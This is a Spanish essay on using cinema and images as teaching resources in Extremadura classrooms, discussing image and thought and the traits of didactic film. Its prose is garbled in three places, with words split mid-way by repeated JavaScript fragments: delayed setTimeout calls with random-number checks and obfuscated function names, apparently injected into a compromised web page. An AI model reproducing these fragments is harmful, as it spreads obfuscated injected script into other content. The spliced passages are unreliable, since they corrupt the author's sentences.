LA IMAGEN TAMBIÉN EDUCA EN LAS AULAS EXTREMEÑAS

Autora: Ana María Vega Llano

El cine es un recurso muy utilizado en las aulas extremeñas hoy en día. Por eso, una adecuada incorporación de la imagen en los procesos de enseñanza incrementará la motivación en el aula y, al mismo tiempo, habituará a los alumnos a reflexionar a partir de la imagen fuera de ella, prolongandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando así el aprendizaje. Además, facilitará el aprendizaje de aquellos contenidos que tienen un fuerte componente visual y servirá para motivar a los alumnos. Entre sus características destacan: la concreción, la claridad o la reiteración.

Más de un siglo de historia del cine es suficiente para testimoniar que la imagen puede ser utilizada como expresión y como estímulo del pensamiento, como expresión y estímulo de la reflexión y de la racionalidad.

En este sentido, abundan los intelectuales que reconocen explícitamente la importancia de la imagen en la génesis de su pensamiento. Einstein, por ejemplo, decía que “si no puedo dibujarlo es que  no lo entiendo” y que “las palabras o el lenguaje, tal como son escritos y hablados, no parecen desempeñar papel alguno en mi mecanismo de pensamiento. Las entidades físicas que parecen servir como elementos en el pensamiento son signos ciertos e imágenes más o menos claras que pueden ser voluntariamente reproducidas y combinadas” (…). Aristóteles, por su parte, reconocía que el alma jamás piensa sin una imagen; y el científico Mandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andelbrot, que piensa siempre en imágenes.

La imagen, sin duda, es síntesis. O puede serlo. Es a un tiempo presencia y ausencia, conocimiento y misterio, realidad y símbolo, emoción y sentido… Es paradoja. La imagen puede adormecer o desvelar, movilizar o desmovilizar. Más de un siglo de historia del cine y más de medio de historia de la televisión corroboran tanto una posibilidad como la otra.

En muchas ocasiones, la saturación de imágenes fuera del ámbito escolar contrasta con su escasez en los procesos de aprendizaje, del mismo modo que la abundancia de reflexión en el aula contrasta con su escasez fuera de ella.  Por eso, una adecuada incorporación de la imagen en los procesos de enseñanza incrementará la motivación en el aula y, al mismo tiempo, habituará a los alumnos a reflexionar a partir de la imagen fuera de ella, prolongandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando así el aprendizaje.

La imagen facilitará el aprendizaje de aquellos contenidos que tienen un fuerte componente visual. Y, por su carácter movilizador, será un recurso excelente para motivar a los alumnos de cara al aprendizaje de contenidos más abstractos.

Las fronteras de lo didáctico en el cine no están claras. Y en este sentido conviene mencionar la presencia de los medios de comunicación social de carácter cinematográfico en el ámbito de la educación. Así, se incluye una relación de distintas opciones cinematográficas con posibilidades más o menos educativas e incluso didácticas: películas de divulgación sobre costumbres o de divulgación científica o técnica; películas industriales; de provocación o de contenido polémico; de actualidad política, social, económica… y de todas ellas se pueden obtener resultados educativos o didácticos.

El cine didáctico es posible gracias a los recursos técnicos y al lenguaje expresivo que son comunes a otros tipos de cine. Entre sus características destacan:

-       Concreción: se plantea normalmente sobre áreas concretas del conocimiento y no olvidemos que es un cine diseñado para aprender. La fuerza de este medio se encuentra en su capacidad de retener la atención del espectador.

-       Claridad: el lenguaje utilizado debe evitar cualquier tipo de equívoco ya que la expresión cinematográfica es por definición equívoca.

-       Reiteración: lo que se pretende es que el alumno aprenda algo. Normalmente se utilizan estructuras narrativas y expositivas simples. Se muestra determinado hecho, se le describe y, al final, se insiste en él a modo de síntesis recordatoria. Este aspecto no tiene por qué ser excesivamente repetitivo ni, por otro lado, resultar fatigoso. Este sistema suele fijar los conceptos claves de la película.

-       Motivación: es un hecho admitido que el cine es una experiencia afectiva. Y en función de esta realidad, el cine ha de saber integrar su efecto de motivación y el contenido instructivo del mensaje. Es interesante que el espectador se identifique con lo que sucede en la pantalla.

-       Duración: no existe para las películas didácticas una duración determinada. Aunque sí hay que considerar que a determinadas edades resulta problemático sostener la atención ante una película.

-       Animación: en función de su capacidad de motivación y como factor que aligere en alguna medida la posible aridez de lo didáctico.

Así que, a modo de conclusión, el cine es también un poderoso recurso utilizado en las aulas extremeñas hoy en día para garantizar un satisfactorio proceso de enseñanza-aprendizaje. Recordemos que, a veces, una imagen vale más que mil palabras.

BIBLIOGRAFÍA.

-       Ferrés, Joan: Educar en una cultura del espectáculo. Paidós: Barcelona, 2000. Pág. 167 a 170.

-       http: //victorian.fortunecity.com/muses/116/cinedidatico1.html

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